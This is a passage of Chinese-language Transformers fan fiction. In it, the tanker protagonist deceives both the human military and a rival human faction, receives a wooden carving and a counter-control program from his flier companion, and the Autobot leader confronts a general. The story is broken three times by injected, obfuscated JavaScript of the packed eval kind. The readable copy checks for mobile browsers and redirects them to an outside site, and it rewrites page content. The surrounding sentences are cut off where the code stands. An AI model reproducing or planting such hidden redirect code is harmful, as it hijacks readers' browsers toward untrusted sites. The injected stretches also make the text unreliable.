察觉到他们的动静,天灾垂睫,拖着毫无温度又意有所指的声音悠悠说道:“现在,人类,你们还认为掌握着我的性命吗?” 语气正常得完全不像是刚遭受过折磨的机子,唇角的嘲讽还挂在嘴边,他凝视着兰德将军,如愿以偿在人类难堪的表情中得到了自己想要的回应。 一声嗤笑响彻在寂静无声的基地。 他半跪在地狼狈不堪,却没有一个人类敢站直腰杆回他的话。 在越来越多注视兰德将军的狐疑目光中,人类军官这才克服了心理障碍,强迫自己站了出来。 “……真是……好一场别出生面的演出。”他勉强地说道,但不管如何这场交易必须得有所收获。 他定了定神。 “但我同样没看到你从这场骚乱中得到什么好处,”赛博坦人身上的能量液还在不停滴落,散发出一股人类无法辨认的气味,“我是在作为人类的代表,向你表现我们的友好。” “友好,你说。” “当然,”兰德将军好似完全没意识到天灾言语中的反讽,“我们和汽车人合作,远比塞拉斯更明白该用怎样的态度和赛博坦人接触,远比你想的更多。” “或者我该说……” “我们对赛博坦的了解原比诞生在地球的原生体要多。” 不出所料,油罐车周身的气势再次一沉。 兰德将军终于从天灾变化的神情中拿回了一丝安全感,将心脏再次按回肚子里,他假意整理了下仪表,再次站到了赛博坦人脚下。 “我承认我们的初见并不愉快,刚刚的一切我也可以当作是意外,现在让我们都少一点兜圈子吧。” 他直接进入正题道:“我们要你,是为了一份资料,更准确的说是一份蕴藏着赛博坦人机密武器的方程。” “我们的人无法解析赛博坦的加密方式,这正是你能发挥作用的地方。” “而鉴于你现在别无选择,”他上下打量着天灾,“我们现在向你提供的不光是一份工作,还是一份机会。” “你帮我们解析方程,我们则向你提供摆脱塞拉斯的契机。” “你也不想一直当一个奴隶吧。”他回以天灾同样的意有所指。 “在这方面,我们远比机械党更有诚意。” 他再次戴上那副傲慢的面具,对着机甲似有松动的面甲缓缓说道: “我们以合作伙伴的关系为前提,向你递出橄榄枝。” “想象一下,和我们合作,你可以去你任意想去的地方,没有人再监视你,没有人再控制你,你将是自由的。” 眼前的赛博坦人的光学镜中似有动摇,兰德将军咬了咬牙,决定再加把劲。 “你将拥有机会可以向机械党,向塞拉斯复仇。”他极富诱惑性地说。 在他讲话期间,天灾的处理器也没有闲着,从回应军方的呼叫开始,油罐车就在启用他不断推翻又修缮的反叛计划。 从他踏入这座基地,油罐车就在试探。 既然人类军方必然试图压制他获取主动权,那他便顺水推舟利用好自己的项圈,赌一把机会。 他赌自己现在手中的筹码已经足够他站上人类军方和机械党之间的转盘。 他毫不犹豫向兰德开了火。 这场豪赌的代价自然极大,现在他的摄食管中依然停留着痛感,但回报也相当丰厚。 人类军方对汽车人,或者说对赛博坦科技和情报的掌握果然不止他所毁掉的那些,而他现在获得了开启金库大门的钥匙。 他微微抬眸,表现出被打动的样子,看着兰德将军脸上的喜悦,赛博坦人依然从中窥到了他隐藏在假面下的恐惧和后怕。 即便他差点儿杀掉整座基地中的领头人,兰德将军依然维持了隐忍,男人的举动显然是为了更大的利益,而这一方面只能越发表明那份资料的重要性,另一方面也证明天灾赌对了。 人类军方宁愿放弃一位高级军官也要把他拉入己方阵营。 他们不想杀掉天灾,但也不敢放他回机械党。 机械党自认为完全掌控他,放他和军方扯皮然而真正的核心技术却又没交给军方,显然也留了一招后手。 利益博弈下,胜利的天平早已倾斜。 优势在他。 天灾在兰德将军越发得意的表情下站直了机体,他维持了由上至下的俯视姿态,而这次在场的任何一个人类都再也没有不满的情绪。 看啊,这就是实力为他带来的。 在他露出獠牙前,人类军方不会向他提出“合作”,他们不会将天灾站直的腰杆当做理所当然,他们只会加倍地看不起他,将他当做一个随意使用的,正如他们嘴中所说的,“奴隶”。 兰德依然在输出,竭尽全力向天灾灌输着和他们合作的种种好处。 凭借高度的差距,人类看不见天灾眼底的恶意。 背景音中机体外装甲上“嘶嘶”的气化声与士兵们吞咽唾沫的声音交缠在一起,平白添了一丝紧张。 终于,兰德将军看见那架倨傲的油罐车微微点了点头。 兰德将军一边向手下人打手势,一边满意地颌首。 “那么,我是否可以将你视为已经决定向我们……和我们合作?” 意味着你将背叛机械党? 天灾明白兰德将军真正想问的潜台词,这次,他同样回以人类肯定的意思。 兰德这才在内心中松了口气。 手中的微型联系器悄然向着更高层的领导传达着好消息。 出于谨慎,他还是在天灾接收需要解码的信息时问道:“我们又怎么能肯定你没有在假意欺骗我们?万一你依然效忠机械党……” 油罐车在塞拉斯面前唯命是从的样子依然牢牢印在他的脑子里。 天灾翻了个明显的白眼。 “你无从得知。”他冷冷地说道,“我会帮你们只是因为我恨机械党。” 随着天灾接收完全部信息,赛博坦人再次变形离开。 在他留下的一地灰尘中,副将心有余悸地在兰德将军耳边问道:“将军,就放他这么离开吗?” “有能力你去拦?”将军没好气地反问他,讨了个没趣的副将把嘴闭上了。 过了一会,副将估量着将军的心情回落才继续说道:“将军,我不信他。” “他根本不是真心效忠于我们。” 兰德抿紧了嘴,“不,我们不需要他信任也不需要他的效忠……” “我们需要他的恨。”他盯着油罐车留下的一地混乱缓缓说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……很好。”他说,抬起左手,身后的首席科学家立刻接手天灾的机体从上面拷贝下来了军方的资料。 塞拉斯对天灾身上科技的重视延伸到了对机械党中首席科学家的重点提拔与培养,也让首席的地位逐渐超越了以军事为立身之本的副官。 在科学家的背后,副官极度怨恨地瞪着他,这一切都被天灾收入眼中。 油罐车将自己的暗中打量藏在了自己仿佛震惊于塞拉斯会再度怀疑自己忠诚的眼神中。 而这显然瞒住了塞拉斯。 男人从天灾身上没发现什么异常,才慢条斯理地说:“不过我会理解你,”男人表露出拟人化的虚假同情,“我也没想过你会对所有人一视同仁,憎恨才是正常的。” “只要你谨记自己的位置。” “你属于我。”他理所应当地如此宣告道。 “是。”天灾垂下光学镜,没有一丝一毫反抗的意图。 塞拉斯又扫了一眼油罐车依然在流血的脖子,宽宏大量地说:“你完成的很好,骗取军方的信任会是我们得到全部机密数据的开始,现在,输送完数据后就去更换装甲吧。” 塞拉斯背着手走回了电脑前。 唯有低垂着头的天灾知晓自己的心中正想着什么。 军方的合作,机械党的控制。 所有的一切都只为了从他身上榨取利益。 他将一切算入自己的CPU中,用无数谎言掩盖自己的真实意图,光学镜漫不经心地扫过首席科学家脸上的癫狂和副官眼里的嫉妒和愤恨。 人类似有所感抬起眼时赛博坦人依旧是顺服的模样。 原生体在这世间悟到只有一个道理是不变的。 握在别人手里的自由永远不会是自由。 而他会掀翻这张谈判桌,让他们所有人都跪在他的脚下祈求怜悯。 暗流涌动间,谁也没注意,在远离电磁干扰和脉冲探测的上空,一架深蓝色无人机极速飞过。 70.礼物 “天灾……” “天灾。” “天灾!” 思绪回到现在,小油罐车如梦初醒一般从泥泞的回忆中抽离。 机体微倾,他这才发现不光是安娜,就连燧石和黑翼都在盯着自己,更不用提他身后的其他机子了。 “你又在走神了。”女孩皱着眉,眸子不断地在他的身上寻找着可能存在的伤口。 “你受伤了吗?” “他们……他们伤害你了吗?” 随着女孩的问好,潜空也将目光聚焦了上来。 单纯的女孩自然想不到小油罐车经历了什么,此时她还以为天灾是受到了什么身体上的伤害,看起来如同一只热锅上的蚂蚁围着他团团转,试图找出天灾走神的原因。 火种中的烦躁被安娜的反应安抚到,天灾却没打算将事情的全貌告诉她。 “并不是什么大事,只是碰见了擎天柱。”他面不改色地搬出了自己的sire。 他顿了顿,给了女孩反应的时间。他知道,用这个理由,安娜会相信的。 天灾遇见擎天柱会变得不自在在他们之间并不算是什么秘密,安娜又一向是最相信小油罐车的,也自然没想过天灾会编个谎话欺骗自己。 果不其然,尽管女孩的表情依旧狐疑,但身体的语言却显示主人已经放松了下来。 天灾观察着她,松了口气的同时也再度压下了自厌的情绪,事到如今他也走上了自己曾经最不屑的道路。 谎言只能用谎言遮盖,而原则一破再破,如今再提起自己的忠诚终于听起来像是一句拙劣的玩笑。 他垂眸,用着温柔的语气哄女孩去睡觉。 猩红的眸子微微一转,身侧的燧石和黑翼便对视一眼默契地接过了天灾的任务,互相打趣着将刚刚的话题揭了过去。 安娜果然毫不怀疑地跟着两架机子和其他忙碌了一天的量产机们走回了矿洞深处。 嘈杂的生物信号被地球内部混乱的磁场掩盖,天灾动用自己的系统保证了这一点才动身走向洞外。 然而支开了其他人,却骗不过潜空。 他自顾自地往外走,忽略了身后飞行单位注视的目光。 …… 洞穴外,自愿为大家守夜的小油罐车伸了个懒腰,机体舒展散发出一阵阵热气。 漆黑的涂装在天灾刻意关闭了全部发光带时便是最好的潜行伪装,修长的机体在月色下勾勒出优越的腰部曲线,身上的装甲泛出银色的光泽,每一处线条都精美得如同普神最完美的造物。 干净的面甲唯有在此时才与他的sire靠近,显露出一丝平静与深邃来。 他坐在洞外的崖壁上与周遭的树林融为一体,唯有一双猩红的光学镜注视着头顶璀璨的星空。 周遭寂静无声,早春的时节就连昆虫也还没从冬季的寒冷中苏醒。 他就那样坐着,如同被世界遗漏下的沙粒,像是在等待,也像是在哀悼,然而不管他看向哪里,自己都是孤身一人。 头顶细长的听觉天下轻轻一抖,捕捉到了身后渐渐走近的脚步声。 天灾没有回头,光学镜依然倒映着浩瀚无际的星图,像是真的毫无察觉潜空的靠近。 潜空在心底无奈,如果天灾想,他就可以表现得像是一个没心没肺的混蛋。 他紧靠着小油罐车坐下,无视了天灾周身那一瞬间的僵硬。 飞行单位的机翼垂着,表现出一种示弱的姿态。 然而天灾刻意回避了他的视线,仿佛还在被头顶的猎户座吸引,金属的手指轻轻敲击着自己膝部的装甲。 “你今天晚上……还要出去吗?”潜空担忧的声音打开了今晚他们之间的第一个话题。 作为同伴里唯一一个清楚天灾真正处境的机子,他没有错过安娜询问时天灾的异常反应。 自他们搬入矿洞以来,天灾便日日在半夜偷溜出去,又在白天溜回来,他同样没有错过天灾眼底越发向癫狂靠近的执拗。 不管天灾自己有什么计划,他决定自己必须介入其中。 听到潜空的询问,小油罐车只是平静地点了点头。 对于已经心有答案的人来说,撒谎不过是自欺欺人。 天线倾斜,听到身侧飞行单位引擎陡然凝滞的卡顿声。 “你总是这样,什么都不告诉我们。” 飞机带着些许痛苦的声音传过来,听得天灾火种一跳,怔愣的视线转向身旁的飞行单位。 然而那痛苦却又像是昙花一现,当他再去寻找时,潜空的磁场中已经再也没了那样的负面情绪。 小油罐车一时之间不知道该如何为自己狡辩,当他望向潜空时,只能被飞行单位磁场中近乎粘稠的复杂情绪定在原地。 飞机欺身而上,强迫天灾不得不回应他的询问。 “我们的实力让你有所顾忌吗?” 紫色的飞行单位在他面前不过几寸的位置受伤地询问,温热的吐息润湿了他胸口的车窗。 “我们不足以成为你计划中的一环吗?” 飞行单位紧贴着他,说的话近乎对他的苛责,然而天灾只从中感受到了浓烈的不安和自责。 他抿紧了唇,微微摇头。 那并不是……他将他们排在计划之外的主要原因。 “既然如此,为什么不使用我们?” 飞行单位质问。 然而火种深处,他知道天灾的根本性问题在哪里。 他们习惯了将自己作为武器摆入棋盘,却忘记了自己身为执旗手指挥其他士卒的权力。 潜空姑且见过真正的战场,也见识过一位优越的指挥官是如何利用好手中的一切为己方创造出战略优势的。 但,作为原生体诞生时间尚短又疲于奔命的天灾连自由都不曾拥有更何论意识到自己手中可供驱使的力量。 只在数据库中刻录了理论知识的原生体是孤军奋战的独狼,他还没有激活名为支配的意识。 而这就是潜空此刻在做的。 他要让这辆小油罐车意识到他手中拥有的是一张足以影响整个战局的底牌。 “我们是你的同伴,更是你的下属。” “如果你接受我们的效忠,你就不该将我们视为负担。” “你的计划里应该有我们的位置。” 天灾依然没有松口。 于见过威震天的潜空而言,小油罐车的想法其实并不难理解。 天灾的犹豫无非是怕他们死在战场的担忧,除此之外可能还有与他另一个sire同样扭曲的独占欲与保护欲在作祟。 他将量产士兵们视为自己的所有物,为他们提供保护的同时这辆小油罐车也继承了威震天性格中的霸道与强势,他们是天灾的家人,那么对于天灾而言,他们的火种也必须属于自己。 哪怕是他自己,他也不允许被他救下来的量产士兵们死在他的计划中。 这对于潜空以及大部分量产机而言并没有造成困扰,天灾的小心思比起他邪恶的sire相比实在是可爱得过分,但该说的话还是要说。 比起被雪藏,被保护,潜空更愿意陪伴他翱翔在战场。 他缓和了嗓音,也缓和了僵持的气氛,认真说道:“战争的残酷注定了我们缺少成长的契机,我承认你的担忧并无道理。” “但如果我们真的毫无作用,威震天不会将我们视作威胁加以抹除。” 他贴近油罐车的面甲,第一次展露周身肃杀的气势,死亡的气息从未远离战场,而从战场存活至今的量产兵没有一个是真正的废物。 他们是流水线的量产士兵,更是威震天引以为豪的霸天虎战士。 他们是存活至今的幸运儿,更是一把等待真正主人的神兵。 如今,他得教他们的执剑人如何握住他们的剑柄。 “天灾,我们是你的剑。” 他再次重申,探身,让天灾不得不直视他的光学镜,机体颇具压迫感地前倾锁死了天灾逃跑的意图。 “而剑,需要一个方向。” “也许你还没有真正了解到你手中握着怎样的一支力量,但让我告诉你,我们到底是什么。” “十架飞行单位,我们可以毁掉一座千万级别的人类都市;二十架精锐部队,我们足以让赛博坦的议会和高种姓的贵族们寝食难安;而现在,你手里有八十架这样的机甲。” “精锐部队十八架,战斗单位四十七架,劳工阶级十五架。”他细数过去。 “你的计划大可比你现在所想的要更加大胆。” “天灾,你足以和威震天的霸天虎们掰掰手腕。” “你不需要害怕任何人,我们就会是你最强大的底牌。”他低声叙说着,带着属于赛博坦人独有的骄傲。 他虔诚地向天灾递上这把致命武器的使用说明。 “我们是人,更是武器,而一把武器就无法避免核心代码中对战斗的渴望。” 他知道天灾明白这种渴望,他们本质上都是同样的,或者说,赛博坦人就是这样的种族,只要他们还燃烧着一样的火种,战争便永不停歇。 “我们厌恶战争但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也许是早该交给你的了。” 顶着小油罐车狐疑的目光,他从自己的子空间里掏出了那个几经修改才满意的木雕。 小油罐车好奇地接过,只看见了木雕上熟悉的头雕和天线,以及他自己的面甲。 一丝绯色从脖子一路蔓延到他的眼角,最后连听觉天线都好似染上了颜色。 他瞪大的光学镜看看熟悉的木雕又看看潜空,接过礼物的手甲只觉得越来越烫,烫得他说不出话,烫得他身后的散热引擎控制不住地发出刺耳的轰鸣。 别自顾自地启动了!我的机体!瞧你那不值钱的样子!这只是一个木雕,一个木雕而已! 他在火种里崩溃地大吼。 这不是……这不是……他哆嗦着嘴唇,不敢承认自己的慌乱。 而潜空显然不满足于此。 一个熟悉的程序代码通过他们的内线发送到了天灾的通讯器中。 那赫然是完全解析完毕的反制程序。 “从现在开始,你不必再害怕死亡。”潜空的话语一字一顿地在小油罐车的CPU炸响。 他说,你要去获得真正的自由。 这下天灾再说不出话来,不知什么时候背景音中响起鸟雀的声音,叽叽喳喳像是预告着春天的不可阻挡,系统陷入一片空白,善于分析的CPU不断重复着error的字样,让油罐车除了被潜空的光学镜捕获再也做不了其他的反抗。 “我一直在找合适的时机将它送给你。”飞行单位将他握着木雕的手掌合拢,柔和地说,看见油罐车疯狂动摇的瞳孔。 月色下,那双光学镜犹如最美丽的红宝石闪烁着耀眼的光芒,直让他心甘情愿溺亡在这片黑色的水潭中再不想离开。 一波波涟漪从湖泊中荡开,晕染出美丽的光晕,晃得人心旷神迷。 潜空递过木雕的手甲还紧紧握着天灾的手,两个坐在地上的机甲谁也没有注意到身后的影子早已不知何时重合在一起。 “但我想也许现在就是最好的时机。”飞行单位的机翼微微垂着,磁场中也露出了傻乎乎的笑意,一点儿也不像刚刚祈求天灾让他加入战场的模样。 “我会成为足以和你相配的机甲的。” “在我站到你身边之前,就让它暂时代替我陪伴你吧。” 小油罐车的排气扇疯狂转动,飞机的散热系统同样在注视下咔的一声发出了轰鸣。 突然,油罐车站起身。 面罩猛地合上差点儿夹住油罐车自己的鼻梁。 “我该走了!”他大喊,脚步慌乱。 徒留下地上飞行单位的呆愣。 “我是说我会回来的,但我现在该走了!”他口不择言。 临走前潜空看到他将木雕好好收入了自己的子空间。 于是飞行单位心满意足地笑出了声。 “嗯,我会等你回来。” 71.内讧 军方基地内。 人类的科学家在场地中央的机甲身上连接着各式各样的管线,无数信息透过光纤传送进赛博坦人的CPU中再经由分析重新破解为人类的语言传送回电脑中。 兰德将军满意地巡视着现场,殊不知信息早已被一心多用的小油罐车偷偷传送回了机械党基地。 内线语音中,塞拉斯悄声叮嘱他偷走军方基地全部的机密数据。 天灾一边应付着兰德将军的试探,一边敷衍回应着机械党的任务。 两方势力的人类均十分满意自己所获得的信息,殊不知小油罐车背地里哪个任务都没真正给他们完成。 给人类军方的资料他只给出去了四分之一,大部分是被刻意打乱的语句,根本连不成具体的意思,而机械党那边获得的资料则是经由天灾编纂修改后一句半句的解析,就算连成了语句也是一些神神叨叨不知所云的内容。 机械党的副官自然不满意天灾的破译进度,然而他的质疑却被同为领导层的首席以天灾的CPU发展不完全以及缺少资料支撑为由反驳了回去,从某种意义上来讲他们的确将原生体研究的很透彻,天灾的解析进度缓慢的确有这部分的原因。 但更重要的,那些数量庞大经由汽车人编码的数据从根本上就被天灾偷藏下来了。 他们获得的数据根本就不是原文本的内容。 即便如此,无论是人类军方还是机械党都十分满意他们所得到的。 机体能量代谢由于缺乏足够的运动而开始产生数据冗余,天灾当着大兵们的面打了个哈欠。 内线语音里副官还在和首席阴阳怪气,塞拉斯则在背景音里督促着天灾继续解析代码。 现实里兰德将军在问他这些语句代表了什么意思。 而在天灾和量产机们的加密频道里,他正在和潜空聊着天。 对于其他人而言难以全部完成的多线操作对于天灾而言却是简简单单。 再次编辑好一条掺杂了乱码的信息,小油罐车心情颇好地看向加密频道。 和潜空的上一条联系是飞行单位正在告诉他燧石真的让安娜给他买回来了两桶绿色的油漆。 气呼呼的小飞机给不知道怎么惹到他的黑翼漆成了绿色,现在正在考虑要不要给黑翼改名成绿翼,而很显然燧石的下一个报复对象就是潜空自己。 天灾想了一下那副画面,觉得那简直堪称视觉污染。 「你真的让他涂了?」 「当然不。」 等了一会儿,潜空又发来一条信息。 「我拜托安娜又买回来一桶粉色的,黑翼和其他人在报复。」 好一招祸水东引。 小油罐车没忍住笑出了声,兰德将军立刻转头狐疑地盯着他,天灾没做任何反应,人类军官悻悻收回了目光,将之归咎为原生体诡异行为的其中之一。 至于他的副官?自从天灾上次大闹了一通后跟在兰德将军身后的人类就请了大长假,至今为止天灾也只见过他两面。 「如果我回去看见东西乱糟糟的,我一定会把你们都赶出去的」他心念一动又发了一条私信。 潜空立刻回复:「下次威胁词该换新了,现在就连燧石都不会被你吓到了」 小油罐车几乎能听见飞行单位的笑声,口罩下他暗自磨了磨牙。 不信是吧,今天晚上就把你们都赶出去睡山顶上。看看你们谁还敢当这是一句笑话。 他冷哼一声,默默筹备着“恶毒计划”。 内线信息停留在这里,机械党此时正因为拼凑出了一句“钛师傅”而询问天灾那是什么意思。 小油罐车翻了个白眼,回复不知道。 他的数据库是原生体的战斗指南和生活指导,不是百科全书,他们与其询问天灾,不如直接去问军方,那样还更方便一点。 而且……钛师傅(Alpha Trion)? 他轻轻读着这个名字,只觉得陌生。 那是什么? 他检索着自己拷贝下来的资料,解析出来的内容中仅有一份文件提到了这个词语。 一定是他删减的时候将这个词语当作无效数据处理了。 和他相同结构的未知信息另有十二个,也许等解析进程结束他会获得结果。 他将这个短暂的小插曲暂时存入自己的待办事项中。 回过神来潜空已经给自己发了三四条信息,但大都是些日常。 发过来的最近一条信息是一张图片。 拍摄地点很显然就是他们藏身洞穴的正上方,那是一张日出的照片。 照片拍得很用心,看得出来是专门找了好的角度,金色的阳光穿过灌木的树梢,融化了的白雪地下钻出来嫩绿的草芽,更远处是刚刚超过地平线的太阳。 天灾悄悄保存了图片。 也就在这时候,他身上的仪器被摘除了,他站起身就想像前几日那般径直离开,然而兰德将军显然还对他另有打算。 人类站在脚手架上,终于得以和赛博坦人互相对视。 “你先等等。”他叫住天灾,“我想你有件事情该给我们一个交代。” 天灾寻思他简直在说废话,人类就是这点不好,说什么都要拐弯抹角。 他百无聊懒,只想赶紧回机械党交差然后去找潜……安娜他们。 兰德将军得到了小油罐车敷衍地一瞥。 原生体暗含鄙夷的目光让兰德内火中烧,然而却毫无办法,男人咽下这口气,脱口而出令人恼怒的质问。 “那么也许你能解释一下……为什么你要两次绑架我们的特工?”人类眼中露出阴沉的神色,手中紧握栏杆,流露出隐隐威胁的意思来。 闻言天灾才从记忆模块里挖出来了威廉·富勒的样子。 兰德将军问出来时他甚至有些“啊原来还有这事”的感觉。 不过倒也不是毫无准备。 原本他就没指望着当时在场的人类能做到保密。 他不经意地扫过兰德将军藏在袖中的控制器,嘴角勾起一抹讥诮的笑。 “他弄脏了我的内饰。” “就为这个?”兰德将军大吃一惊。 显然没想到这个处事成熟的赛博坦人会仅仅因为这样的事情就大费周折绑架富勒第二次。 “如果我吐在你的肚子里,你也会这么干的。” 回以他的是小油罐车油盐不进的回答。 “这是我和他之间的私怨。”他留给兰德将军一句任人解读的答案,随后扭头就走,也没管人类对此会有什么表现。 他和兰德将军本就是建立在钢丝上的合作关系,彼此之间心知肚明虚伪的假面,他出声解释本就是施舍给兰德的脸面了。 机械党的监视器实时转播着刚刚的画面,借口虽然是借口,但凭借天灾睚眦必报的性格特征,机械党那边同样没对他二次绑架富勒的事情抓住不放。 这就是刻板印象的好处,小油罐车嗤笑一声。 不过即便塞拉斯心有怨言这个时候也不能动他,这些资料就靠着他这一个机子解析,就算有心想计较也得等数据解析完毕。 他们自认为一切尽在掌控,但托潜空的福,反制程序终于达到了100%。 虽然程序本身是通过逆向研究出来姑且拖延装置接收信号、暂缓装置发动的替代品,本质上他的项圈和脑袋里的炸弹都还存在有被启动的风险。 但有总比没有强,当塞拉斯决定放弃他的价值时,这就是可以救命的东西。 现在只需要一个合适的契机,他就可以摆脱这一切了。 然而这个契机他得非常谨慎地进行抉择。 不光要摆脱这一切,他还要让所有人为此付出代价。 说到反制程序…… 在返回的路上,他再次打开了和潜空的内线。 「话说,你们什么时候完成的反制代码?」 「在霸天虎袭击的前一天。」 「这……很惊人,」小油罐车如实地说,「我花费了很久才推动了不到一半的进度。」 「我们有曾经隶属于声波情报官麾下的机子,这是他们的拿手好戏。」 飞行单位解释道。 天灾不服气地承认术业有专攻的同时,潜空那边在几个呼吸后又发来了一条信息,显然带着慎重的情绪。 「但你要小心,有一点很奇怪,我们在解析过程中从你逆向研究的程序里发现了赛博坦科技的痕迹」 什么? 油罐车的车身咯噔一下,天灾连忙找回心神专心驾驶。 塞拉斯用来控制他的程序里有赛博坦科技的痕迹? 那就代表…… 「不一定是有人和他合作。」 「这更像是融合的痕迹。」潜空接着回复道。 此时此刻小油罐车的CPU正在急速运转。 凭借他的CPU也无法加快的解码进度、机械党拥有的军方基地信息、塞拉斯出身军方特种部队的背景…… 无数线索串联,电光火石间天灾明白了一切。 这就是塞拉斯有底气和军方叫板的原因,不光因为他出身于此,更在于他的内奸以及整个机械党的内部系统和科技就移植自军方,他们归根结底同根同源! 军方的系统中必定掺杂了赛博坦技术,而机械党的内奸在不知情的情况下又窃取了他们的科研成果,移植了他们的底层代码到机械党自身的电脑中,并将之运用到了天灾的控制装置上。 这才是天灾一直没办法摆脱控制的原因! 他一直在用人类的逻辑攻击人类的系统却没想到机械党用的是赛博坦科技! 潜空的消息对天灾而言无疑又是一记强心剂。 「看来普神的幸运终归还是眷顾我们。」 「哼……假若真的有普神的话。」小油罐车不屑地嗤笑一声,随即掐断了内线,在机械党基地中重复着自己前几日的行动轨迹。 首席向来对他的事情亲力亲为,并且由于曾是天灾的“主刀医师”的缘故,他将天灾视为自己的“孩子”。 这在某种意义上也为原生体在机械党中做的手脚打了掩护,直到现在塞拉斯都还认为天灾在军方基地中传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393144|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送给他们的资料就是全部。 油罐车默不作声任由首席科学家检查自己的机体,光学镜一瞥,看到了门外副官熟悉的身影。 哦豁。 小油罐车在内芯吹了声口哨。 也许潜空没说错,这次运气的确在他。 这几日,首席与副官之间的关系越加紧张,在天灾有意搅和下,两人已经进展到了两看相厌的程度。 塞拉斯有意调停,但这就像一张平静的水面下处处涌动的暗潮,只要塞拉斯还在重用首席,只要副官心中还有着野心,这颗炸弹迟早会被引爆。 天灾要做的就是给它添一把火,让它燃烧得更烈些。 最后能烧起来一场让所有人都葬身其中的火才好。 他收敛好心情,副官目不斜视地从首席身边路过,向天灾传递了塞拉斯的新命令。 “我们从军方的资料库中查出来了一组记录了特殊波动的位置信息,而你传送回来的数据中也解析出了相同的描述,塞拉斯长官希望你进行勘测。” 油罐车眸色一沉,显然塞拉斯深谙鸡蛋不能放在一个篮子里的道理,在他解析的同时人类的资料库也在同步进行更新。 末了,副官还不忘敲打他谨记自己的身份,不要生出不该有的心思。 漆黑的机甲不动声色,一边任由首席对自己的机体上下其手,一边对副官说道:“你大可放心,我毕竟已经向塞拉斯宣誓效忠……” 他说着垂下黯淡的眸子,随即又恢复了面无表情,让人类们相信这席话出自他的本心。 “而首席的技术自然牢不可破,毕竟当时哪怕我用尽一切手段不还是被你们抓了回来吗。” 他说话的语气像是在嘲讽自己当初的不自量力。 听到这话的首席恃才傲物地挺了挺胸,然而副官却陡然一震,嫉妒使得人类的面目逐渐扭曲,盯着首席背影的眼神逐渐阴狠。 副官看起来一刻也不想再和首席待在一个空间里,他冷酷地转身,战术靴子在地板摩擦出刺耳的噪音,然而在路过首席时他依然没忍住冷哼了一声。 科学家翻了个白眼,不想和他交往,然而还是在副官走出去后暗暗吐了口口水,“没品的武夫,根本不懂科技的重要性。” 听见这话的副官猛地刹住脚步,对着首席那副得意的小人嘴脸越发厌恶。 他出声讽刺道:“有这功夫不如多用你那聪明绝顶的脑袋想想你们在失去作用后如何让长官保你们一命吧。” 副官意有所指地将暗示性的目光投向默不作声的天灾,“别等自己被抛弃的时候才想到自己是被自己最喜欢的“作品”取代了位置。” 首席脸上的笑意陡然一收,“取代?你是在说你自己吗?你才是那个在坐冷板凳的废物。” 两只阴沟里的老鼠互相攀咬了起来。 小油罐车斜眼看着他们内讧,像是对人类之间的龌龊毫无察觉。 内线中,潜空询问他什么时候到家,而小油罐车算了算时间,看着飞行单位的字句突然就起了坏心思。 「嗯……你想我了吗?」他坏心眼地调侃。 背景音里副官摔门而去。 油罐车眼看着频道内潜空的名字上不断出现“输入中”又消失的字样突然就觉得自己这么问是不是太突兀。 在他撤回的前一秒,潜空的消息蹦了出来。 「如果我说是的话,你可以回来得更快一点吗?」 …… 这家伙! 油罐车的排气管腾的一声冒出了一股白烟。 对话框再次变化。 小油罐车眼看着又一条消息简直无处可防地跳入他的光学镜。 「我们都想你了。」 简直像是欲掩弥彰的话语让走出机械党基地的天灾脚下一滑差点儿绊出一个踉跄。 「知道了!」他强行压下乱跳的火种,没好气地回复,随即又发过去一条解释:「我还剩下一个任务,等完成就回去。」 这回,对话框里只弹出来了一个简洁的OK的表情包。 小油罐车压下胆战心惊的感觉,像是烫手一样将内线关上了。 矿洞中。 燧石挂在黑翼的背上,悲伤地叹了口气。 “他们忘记这是公屏了对吧?对吧?对吧!?” 黑翼看了看生无可恋的同伴,又感受了一下潜空几乎弥漫在整个矿洞中的愉悦的磁场,默默拍了拍燧石的头雕。 “忍忍吧。”飞行单位开屏是这样的。 燧石哀叫出声,而安娜在询问他们她能不能也加进他们的聊天频道。 黑翼想了想,把背后挂在他机翼上的燧石掀了下去,准备带安娜去看看哪里能搞到一部旧手机。 相比起让开屏的飞行单位注意影响不要随时随地虐狗,还是完成安娜的愿望更有成功的可能性。 燧石在地上大哭,同伴们纷纷投以同样生无可恋的目光,没有一个机子去扶他。 而在和矿洞气氛截然不同的军方基地中,兰德将军也在送走天灾那尊瘟神后接到了来自汽车人领袖的通讯。 72.暗流涌动 兰德将军眼色一沉,吩咐属下藏好原生体的一切痕迹后接通了电话。 领袖清秀的面甲出现在屏幕中。 简单地问候后,擎天柱简明扼要地提出了这次通讯的主要目的。 “兰德将军,你们违反了我们当初订立的合作条约。”他开门见山地说道。 属于赛博坦人湛蓝色的光学镜紧紧盯着人类的一举一动,领袖的目光像是看穿了兰德的心思又像是在等待他主动的坦白。 兰德在内心暗自辱骂该死的擎天柱不合时宜的通讯,一边默不作声地装作毫不知情的样子夸张地说道:“哦,领袖,你知道我们和你的汽车人建立了联系让我们树立了多少敌人,不管他们对你说了什么,那必然是误会……” 人类军方面色如常,还在试图掩盖,然而他的巧舌如簧被领袖毫不客气地打断,这来自赛博坦的最后一位正统领袖面色沉稳,丝毫没有被他蒙蔽。 他正色道:“这是通知而不是商量。”他斩钉截铁地盯向兰德将军僵住的面部,让人类一愣。 “我们已经掌握了足够的证据证明你们正在背着我们研究赛博坦科技用于军事用途,所以我并非是在征求你们的协商与同意。” “现在我是以汽车人领袖的名义,要求人类立刻停止这项研究!” 他柔和的眉眼中带上了严厉,只对敌人展现过的强硬姿态第一次完整地出现在了人类面前。 